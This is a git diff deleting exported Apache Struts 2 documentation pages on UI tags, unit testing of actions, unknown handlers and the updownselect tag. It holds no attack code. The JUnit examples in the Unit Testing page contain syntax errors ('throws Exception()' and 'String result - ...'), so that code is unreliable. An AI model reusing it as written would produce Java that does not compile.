-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=19736">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=19736">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=19736">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=19736">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p>Unlike <a shape="rect" href="generic-tags.html">generic tags</a>, UI tags do not provide much control structure or logic. Rather, they are focussed on using data, either from your action/value stack or from the Data Tags, and displaying data in rich and reusable HTML. All UI tags are driven by <em>templates</em> and <em>themes</em>. While generic tags simply output some content directly from the tag (if there is any content to output), the UI ta [...]
-
-<p>Template support allows UI tags to build a rich set of reusable HTML components that can be customized to fit exact requirements. For details, see <a shape="rect" href="themes-and-templates.html">Themes and Templates</a>.</p>
-<div class="table-wrap"><table class="confluenceTable"><tbody><tr><th colspan="1" rowspan="1" class="confluenceTh"><p> <a shape="rect" href="themes-and-templates.html">Themes and Templates</a> </p></th><td colspan="1" rowspan="1" class="confluenceTd"><p> A must-read explanation of how themes and templates are used when rendering UI tags. </p></td></tr><tr><th colspan="1" rowspan="1" class="confluenceTh"><p> <a shape="rect" href="form-tags.html">Form Tags</a> </p></th><td colspan="1" rows [...]
-
-
-<h2 id="UITags-LanguageSpecificTagSupport">Language Specific Tag Support</h2>
-
-<p>The framework strives to support multiple development environments. The framework does not impose a single template language. Almost any common language can be used, and there are hooks for new languages. By default, almost every single tag is supported in JSP, Velocity, and FreeMarker. In each of these sections, you'll find examples and techniques for applying the generic tag reference toward your specific language or template choice.</p>
-<ul><li><a shape="rect" href="jsp-tags.html">JSP Tags</a></li><li><a shape="rect" href="velocity-tags.html">Velocity Tags</a></li><li><a shape="rect" href="freemarker-tags.html">FreeMarker Tags</a></li></ul>
-
-
-<div class="confluence-information-macro confluence-information-macro-note"><span class="aui-icon aui-icon-small aui-iconfont-warning confluence-information-macro-icon"></span><div class="confluence-information-macro-body">
-<p>Please make sure you have read the <a shape="rect" href="tag-syntax.html">Tag Syntax</a> document and understand how tag attribute syntax works.</p></div></div>
-<p>Within the form tags, there are two classes of tags: the form tag itself, and all other tags, which make up the individual form elements. The behavior of the form tag is different than the elements enclosed within it.</p>
-
-<h2 id="UITags-Next:">Next:  <a shape="rect" href="themes-and-templates.html">Themes and Templates</a></h2></div>
-        </div>
-
-                    <div class="tabletitle">
-                Children
-            <span class="smalltext" id="show" style="display: inline;">
-              <a href="javascript:showChildren()">Show Children</a></span>
-            <span class="smalltext" id="hide" style="display: none;">
-              <a href="javascript:hideChildren()">Hide Children</a></span>
-            </div>
-            <div class="greybox" id="children" style="display: none;">
-                                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                            </div>
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/unit-testing.data/Screen-shot-2012-02-17-at-2.46.54-PM.png b/content/docs/unit-testing.data/Screen-shot-2012-02-17-at-2.46.54-PM.png
deleted file mode 100644
index 242ee21..0000000
Binary files a/content/docs/unit-testing.data/Screen-shot-2012-02-17-at-2.46.54-PM.png and /dev/null differ
diff --git a/content/docs/unit-testing.html b/content/docs/unit-testing.html
deleted file mode 100644
index aff7e7e..0000000
--- a/content/docs/unit-testing.html
+++ /dev/null
@@ -1,209 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Unit Testing</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="tutorials.html">Tutorials</a>&nbsp;&gt;&nbsp;<a href="getting-started.html">Getting Started</a>&nbsp;&gt;&nbsp;<a href="unit-testing.html">Unit Testing</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Unit Testing</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=27838592">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=27838592">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=27838592">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=27838592">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=27838592">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=27838592">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><div class="confluence-information-macro confluence-information-macro-information"><span class="aui-icon aui-icon-small aui-iconfont-info confluence-information-macro-icon"></span><div class="confluence-information-macro-body"><p>The example code for this tutorial, unit_testing, is available at <a shape="rect" class="external-link" href="https://github.com/apache/struts-examples" rel="nofollow">https://github.com/apache/struts-examples</a></p></div [...]
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">	  &lt;action name="register" class="org.apache.struts.register.action.Register" method="execute"&gt;
-		&lt;result name="success"&gt;/thankyou.jsp&lt;/result&gt;
-		&lt;result name="input"&gt;/register.jsp&lt;/result&gt;
-	  &lt;/action&gt;
-
-</pre>
-</div></div><p>Remember the validate method will be called automatically by the framework before calling the execute method. If validation fails the Struts framework will return "input". If there are no validation errors then the framework will call the execute method and return whatever String the execute method returns.</p><h3 id="UnitTesting-TestValidationShouldPass">Test Validation Should Pass</h3><p>For our first test we'll test that there should be no validation errors. In the norm [...]
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">@Test
-public void testExecuteValidationPasses() throws Exception() {
-
-  request.setParameter("personBean.firstName", "Bruce");
-
-  request.setParameter("personBean.lastName", "Phillips");
-		
-  request.setParameter("personBean.email", "bphillips@ku.edu");
-		
-  request.setParameter("personBean.age", "19");
-
-  ActionProxy actionProxy = getActionProxy("/register.action");
-
-  Register action = (Register) actionProxy.getAction() ;
-
-  assertNotNull("The action is null but should not be.", action);
-
-  String result - actionProxy.execute();
-
-  assertEquals("The execute method did not return " + ActionSupport.SUCCESS + " but should have.", ActionSupport.SUCCESS, result);
-  
-}
-
-</pre>
-</div></div><p>The first statements in the test method use the request object to set the values of any request parameters. These simulate the values the user would enter into the form fields. Note how the first argument to setParameter is the same as the value of the name attribute in the Struts textfield tag in the register.jsp page.</p><p>In this test I'm providing good data for each form field as I want to ensure my validation doesn't register an error if the user provides correct inf [...]
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">@Test
-public void testExecuteValidationFailsMissingFirstName() throws Exception() {
-
-  //request.setParameter("personBean.firstName", "Bruce");
-
-  request.setParameter("personBean.lastName", "Phillips");
-		
-  request.setParameter("personBean.email", "bphillips@ku.edu");
-		
-  request.setParameter("personBean.age", "19");
-
-  ActionProxy actionProxy = getActionProxy("/register.action");
-
-  Register action = (Register) actionProxy.getAction() ;
-
-  assertNotNull("The action is null but should not be.", action);
-
-  String result - actionProxy.execute();
-
-  assertEquals("The execute method did not return " + ActionSupport.INPUT + " but should have.", ActionSupport.INPUT, result);
-  
-}
-
-</pre>
-</div></div><p>In the last assertEquals statement my test checks that the Struts 2 framework returned "input" as that is what the Struts 2 framework will return if the validation adds a field or action error.</p><h3 id="UnitTesting-Summary">Summary</h3><p>There is much more you can do with the Struts 2 JUnit plugin to help you test the methods of your Action class in conjunction with the Struts 2 fraemwork. If your Struts 2 application uses Spring to inject dependencies into the Action c [...]
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/unknown-handlers.html b/content/docs/unknown-handlers.html
deleted file mode 100644
index a90cf68..0000000
--- a/content/docs/unknown-handlers.html
+++ /dev/null
@@ -1,180 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Unknown Handlers</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="core-developers-guide.html">Core Developers Guide</a>&nbsp;&gt;&nbsp;<a href="configuration-elements.html">Configuration Elements</a>&nbsp;&gt;&nbsp;<a href="unknown-handlers.html">Unknown Handlers</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Unknown Handlers</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=105489">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=105489">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=105489">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=105489">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=105489">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=105489">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><div class="confluence-information-macro confluence-information-macro-warning"><span class="aui-icon aui-icon-small aui-iconfont-error confluence-information-macro-icon"></span><div class="confluence-information-macro-body">
-<p>Unknown Handler stacks are available from Struts 2.1 on.</p></div></div>
-
-<h2 id="UnknownHandlers-UnkownHandlers">Unkown Handlers</h2>
-<p>Unknown Handlers are classes that implement the <code>com.opensymphony.xwork2.UnknownHandler</code> interface, and are called by the framework, when an unknown action, result, or method are executed. To define an unknown handler, create a class implementing the mentioned interface, and add a bean definition to your struts.xml:</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">
-&lt;bean type="com.opensymphony.xwork2.UnknownHandler" name="handler" class="myclasses.SomeUnknownHandler"/&gt;
-</pre>
-</div></div>
-
-<h2 id="UnknownHandlers-StackingUnknownHandlers">Stacking Unknown Handlers</h2>
-<p>Multiple unknown handlers can be defined, using the <em>unknown-handler-stack</em> tag:</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">
-&lt;bean type="com.opensymphony.xwork2.UnknownHandler" name="handler1" class="com.opensymphony.xwork2.config.providers.SomeUnknownHandler"/&gt;
-&lt;bean type="com.opensymphony.xwork2.UnknownHandler" name="handler2" class="com.opensymphony.xwork2.config.providers.SomeUnknownHandler"/&gt;
-
-&lt;unknown-handler-stack&gt;
-   &lt;unknown-handler-ref name="handler1" /&gt;
-   &lt;unknown-handler-ref name="handler2" /&gt;
-&lt;/unknown-handler-stack&gt;
-</pre>
-</div></div>
-
-<p>When multiple unknown handlers are stacked like above, they will be called in the specified order, in the same cases when a single unknown handler would be called (when an unknown action, result, or method are executed), until one of them handles the requested action. </p>
-
-<h2 id="UnknownHandlers-UknownHandlersManager">Uknown Handlers Manager</h2>
-<p>The default class that handles unknown handler stacks is <code>com.opensymphony.xwork2.DefaultUnknownHandlerManager</code>, a custom implementation of this class can be provided by implementing the interface <code>com.opensymphony.xwork2.UnknownHandlerManager</code> and setting the property <code>struts.unknownHandlerManager</code></p></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/updownselect.html b/content/docs/updownselect.html
deleted file mode 100644
index d3d28f1..0000000
--- a/content/docs/updownselect.html
+++ /dev/null
@@ -1,200 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>updownselect</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="tag-developers-guide.html">Tag Developers Guide</a>&nbsp;&gt;&nbsp;<a href="struts-tags.html">Struts Tags</a>&nbsp;&gt;&nbsp;<a href="tag-reference.html">Tag Reference</a>&nbsp;&gt;&nbsp;<a href="ui-tag-reference.html">UI Tag Reference</a>&nbsp;&gt;&nbsp;<a href="updownselect.html">updownselect</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">updownselect</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13884">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13884">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13884">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13884">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13884">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13884">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><div class="confluence-information-macro confluence-information-macro-note"><span class="aui-icon aui-icon-small aui-iconfont-warning confluence-information-macro-icon"></span><div class="confluence-information-macro-body"><p>Please make sure you have read the <a shape="rect" href="tag-syntax.html">Tag Syntax</a> document and understand how tag attribute syntax works.</p></div></div>
-<div class="confluence-information-macro confluence-information-macro-note"><p class="title">Important</p><span class="aui-icon aui-icon-small aui-iconfont-warning confluence-information-macro-icon"></span><div class="confluence-information-macro-body">
-<p></p><p>
-Note that the listkey and listvalue attribute will default to "key" and "value"
-respectively only when the list attribute is evaluated to a Map or its descendant.
-Everything else will result in listkey and listvalue to be null and not used.
-</p></div></div>
-
-<h2 id="updownselect-Description">Description</h2>
-
-<p></p><p>
-Create a Select component with buttons to move the elements in the select component
-up and down. When the containing form is submited, its elements will be submitted in
-the order they are arranged (top to bottom).
-</p>
-
-<h2 id="updownselect-Parameters">Parameters</h2>
-
-<p><table width="100%"><tr><td colspan="6" rowspan="1"><h4>Dynamic Attributes Allowed:</h4> false</td></tr><tr><td colspan="6" rowspan="1">&#160;</td></tr><tr><th align="left" colspan="1" rowspan="1" valign="top"><h4>Name</h4></th><th align="left" colspan="1" rowspan="1" valign="top"><h4>Required</h4></th><th align="left" colspan="1" rowspan="1" valign="top"><h4>Default</h4></th><th align="left" colspan="1" rowspan="1" valign="top"><h4>Evaluated</h4></th><th align="left" colspan="1" rows [...]
-
-<h2 id="updownselect-Examples">Examples</h2>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<script class="brush: xml; gutter: false; theme: Confluence" type="syntaxhighlighter"><![CDATA[
-
-&lt;!-- Example 1: simple example --&gt;
-&lt;s:updownselect
-list=&quot;#{&#39;england&#39;:&#39;England&#39;, &#39;america&#39;:&#39;America&#39;, &#39;germany&#39;:&#39;Germany&#39;}&quot;
-name=&quot;prioritisedFavouriteCountries&quot;
-headerKey=&quot;-1&quot;
-headerValue=&quot;--- Please Order Them Accordingly ---&quot;
-emptyOption=&quot;true&quot; /&gt;
-
